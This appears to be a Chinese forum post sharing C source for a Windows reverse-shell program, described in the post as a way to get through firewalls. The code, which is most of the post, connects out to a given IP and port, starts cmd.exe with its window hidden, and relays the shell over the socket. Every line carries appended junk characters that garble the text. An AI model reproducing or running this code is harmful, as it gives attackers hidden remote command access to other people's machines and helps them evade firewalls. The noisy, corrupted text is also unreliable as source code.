这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v|Yh w
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/* ============================== =9z[[dQ|L
Rebound port in Windows NT %_(H{y_!
By wind,2006/7 m^H21P"z
===============================*/ F6K4#t+9
#include qnoNT%xazo
#include s_>
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#pragma comment(lib,"wsock32.lib") u6MzRC
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void OutputShell(); UQ +?\wi*
SOCKET sClient; VH(S=G5Yb
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -Y
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void main(int argc,char **argv) ^B@Wp
{ rDQ!zlg>l
WSADATA stWsaData; c{&*w")J
int nRet; w^#L9i'v'
SOCKADDR_IN stSaiClient,stSaiServer; fuA&7gNC
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if(argc != 3) *=wYuJ#
{ Z0*ljT5|
printf("Useage:\n\rRebound DestIP DestPort\n"); GD:4"$)[o
return; +{/*z
} Q^q1ns;r
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WSAStartup(MAKEWORD(2,2),&stWsaData); :{ur{m5bX
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vg>( Y,
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stSaiClient.sin_family = AF_INET; i-'9AYyw
stSaiClient.sin_port = htons(0); #~=hn8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <]T` 3W9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Qed.4R:o
{ 4mHvgnT!WA
printf("Bind Socket Failed!\n"); GG0R}',0
return; E-{^E. w1
} %<\6TZr
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stSaiServer.sin_family = AF_INET; 8-lOB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v9D22,K-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J%jB?2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v\,N 5
{ >(<ytn t=
printf("Connect Error!"); f_imyzP
return; :gB[O>'<m
} b.@P%`@a.
OutputShell(); LS5vW|]w
} k $fGom
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void OutputShell() .!6>oL/iF
{ \y88d4zX
char szBuff[1024]; :KKa4=5L
SECURITY_ATTRIBUTES stSecurityAttributes; 3 AHY|
OSVERSIONINFO stOsversionInfo; |hO~X~P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c(/VYMJZ&
STARTUPINFO stStartupInfo; shH~4<15
char *szShell; Khe!g1=&X
PROCESS_INFORMATION stProcessInformation; iajX ~kv
unsigned long lBytesRead; L3p`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UDc$"a}ds{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &%2*Wu;
stSecurityAttributes.lpSecurityDescriptor = 0; "&/]@)TPz
stSecurityAttributes.bInheritHandle = TRUE; Qf|U0
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b:(-
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +hRmO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c=[O
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c=;:R0_'t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N,J9Wu ZJ\
stStartupInfo.wShowWindow = SW_HIDE; * FeQ*`r
stStartupInfo.hStdInput = hReadPipe; -@F fU2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `?y<>m*
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GetVersionEx(&stOsversionInfo); 4_D@ST%
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switch(stOsversionInfo.dwPlatformId) 5I,gBT|B
{ z*a8sr
case 1: ?|1Mv1C?
szShell = "command.com"; :qvI%1cP=
break; )g|xpb
default: jS!`2li?{
szShell = "cmd.exe"; `' 153M]
break; s3 ;DG
} e*
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yfDAk46->6
,=~z6[
send(sClient,szMsg,77,0); gUAxyV
while(1) v`c$!L5
{ v6GsoQmA
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jhGlG-^
if(lBytesRead) S\wW)Pv8
{ ;c-3g]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;&b%Se@#p
send(sClient,szBuff,lBytesRead,0); u0RS)&
} %y<ejM
else g2R@`./S
{ hAqg Iu*
lBytesRead=recv(sClient,szBuff,1024,0); T'#!~GpB
if(lBytesRead<=0) break; 2`a
q**}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); SMf+qiM-E
} F=)&98^v$_
} `T2 <<<
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return; >az;!7~cD
}